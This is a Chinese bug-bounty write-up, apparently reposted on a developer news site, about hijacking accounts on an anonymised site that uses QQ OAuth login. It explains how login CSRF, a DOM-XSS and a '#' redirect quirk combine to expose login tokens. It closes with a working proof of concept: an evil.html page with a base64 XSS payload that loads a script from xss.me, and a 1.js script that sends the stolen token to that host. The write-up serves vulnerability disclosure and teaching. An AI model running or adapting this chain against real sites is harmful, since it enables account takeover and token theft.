内容简介:在最近参与的一次对站点A的众测中,我发现A可以使用QQ账号进行登陆。在过去的几个月里,我发现了大量关于OAuth登陆劫持的漏洞,如果你有兴趣,可以参考:尽管我相信目标A已经不存在OAuth登陆劫持漏洞(因为QQ已经在redirect_uri参数上做了强校验),但是我仍打算对它的登陆流程一探究竟。下面,我以A.com代表目标A的域名来展示我是怎样发现一个账号劫持漏洞的。
Login CSRF + DOM-XSS + unsafe URL redirect = ATO
在最近参与的一次对站点A的众测中,我发现A可以使用QQ账号进行登陆。在过去的几个月里,我发现了大量关于OAuth登陆劫持的漏洞,如果你有兴趣,可以参考: OAuth回调参数漏洞案例解析
尽管我相信目标A已经不存在OAuth登陆劫持漏洞(因为QQ已经在redirect_uri参数上做了强校验),但是我仍打算对它的登陆流程一探究竟。
下面,我以A.com代表目标A的域名来展示我是怎样发现一个账号劫持漏洞的。
打开A的QQ登陆链接后,我发现了一些奇妙的事。
如上图,redirect_uri并没有指向A.com,而是指向了B.com。将参数URL解码,
不难推测,这里涉及到2次跨域登陆:
- redirect_uri: qq.com => B.com
- s_url: B.com => A.com
在开头已经说过,QQ已经对redirect_uri参数做了强校验,要想劫持到B.com的登陆账号已经不太可能。所以,我的目标放在了s_url这个参数上。
简单分析一下登陆流程就能发现s_url是如何工作的。
(a)首先,用户使用QQ账号登陆到B.com;
(b)然后B.com发送如下请求,获取token,并引导用户携带token跳转到A.com;
(c)A.com验证token是合法的,则种下cookie。
至此,用户成功登陆到A.com。
从整个登陆流程来看,只要我们能想办法窃取到token,就能劫持用户的登陆账号。
unsafe URL redirect
我的目标是窃取到token,最直接的办法当然是修改参数s_url,让用户携带token跳转到恶意域名,从而泄露token。
一番测试后,我发现s_url的校验也很严格,即使在路径后面附加一些字符,生成的跳转链接中都不会携带token。
经过一些fuzz后,我发现我似乎能在最后一个字符后面附加一些符号。
我可以在s_url的结尾附加3种符号,而不影响token的生成,分别是:
%3f => ? %20 => 空格 %23 => #
#
让我眼前一亮,众所周知,URL中的 #
将被浏览器视作锚点,其后的数据不会发送到服务器。
当用户跳转到这个地址,自然会无法认证成功,并停留在Login页面。
此时token也将出现在URL中。
至此,我们已经在窃取token的道路上迈出了重要的一步。
DOM-XSS
现在,我们面临的问题是如何获取到URL中的token。
最容易想到的就是XSS啦,我们可以用XSS创建一个iframe,在iframe加载登陆链接,当跳转完成后,再获取iframe的 location.href
属性。
一番寻找后,我终于找到一处疑似存在DOM-XSS的函数,
renderFrame: function (url, param, path, hash, isOld) { var that = this; hash && (url += isOld ? "/" + hash : "#" + hash), param && param._hash && (url += param._hash), url += window.location.search, path = path.replace(/(\/?console\/?)/, ""), path = path.replace(/\/\*/, ""); var $frame = $('<iframe src="' + url + '" frameborder=0 width="100%" height="99%"></iframe>'), ......
验证后发现确实存在,payload:
但是这个XSS必须用户登陆后才能触发,如果能找一处登陆CSRF,就能使得漏洞更通用了。
Login CSRF
其实在前面已经提到了这个漏洞了,
这个请求不会检查referer,携带未使用过的token请求这个链接就能登陆成功。所以,只要我们事先准备一个没使用过的token,让受害者请求这个链接就行了。
ATO
接下来理一下整个利用过程:
- 登陆我自己的账号,抓一个token
- 让受害者用我的token登陆
- 触发XSS
A.com/Login#token=111
在打开OAuth登陆界面这一步我原本打算使用iframe,但是测试后发现在iframe里无法无法跳转到A.com,因为B.com使用了如下代码来防止iframe加载,
if (top != self) { top.location.href = s_url; } else { top.location.replace(s_url); }
但我们可以使用 window.open()
开一个新窗口来绕过。
以下是我写的一个POC:
evil.html:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Login CSRF</title> </head> <body> <!--首先创建一个iframe用我的token登陆--> <iframe src="https://A.com/Index/Login?token={My_token}" sandbox="allow-popups allow-scripts allow-same-origin" width="500px" height="500px"></iframe> <script> // 登陆成功后,跳转到XSS地址 function redirect2xss() { window.location.href = "https://A.com/xxx/%22/onload=%20eval(atob(%22d2l0aChkb2N1bWVudClib2R5LmFwcGVuZENoaWxkKGNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9J2h0dHBzOi8veHNzLm1lLzEuanMn%22))//"; } setTimeout(redirect2xss, 6000); </script> </body> </html>
1.js:
document.body.onload = function () { // 打开OAuth登陆界面 myWindow = window.open('https://graph.qq.com/oauth2.0/show?which=Login&display=pc&client_id=111111&response_type=code&redirect_uri=https%3A%2F%2FB.com%2Flogin%2FqqAccessCallback%3Fs_url%3Dhttps%253A%252F%252FA.com%252FIndex%252FLogin%2523%252FLogin%26fwd_flag%3D7&state=aaa', '', 'width=600,height=600'); setTimeout(function () { // 获取token data = myWindow.document.location.href; fetch("//xss.me/?data=" + escape(data)); }, 9000); };
以上所述就是小编给大家介绍的《组合漏洞导致的账号劫持》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- etherscan点击劫持漏洞
- [浏览器安全漏洞一] dll劫持漏洞
- 前端中存在的变量劫持漏洞
- 可导致数百万玩家帐户被劫持:EA游戏帐户劫持漏洞分析
- HackerOne | 子域名劫持漏洞的挖掘指南
- 曲速未来 消息:etherscan点击劫持漏洞分析
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Hadoop in Action
Chuck Lam / Manning Publications / 2010-12-22 / USD 44.99
HIGHLIGHT Hadoop in Action is an example-rich tutorial that shows developers how to implement data-intensive distributed computing using Hadoop and the Map- Reduce framework. DESCRIPTION Hadoop i......一起来看看 《Hadoop in Action》 这本书的介绍吧!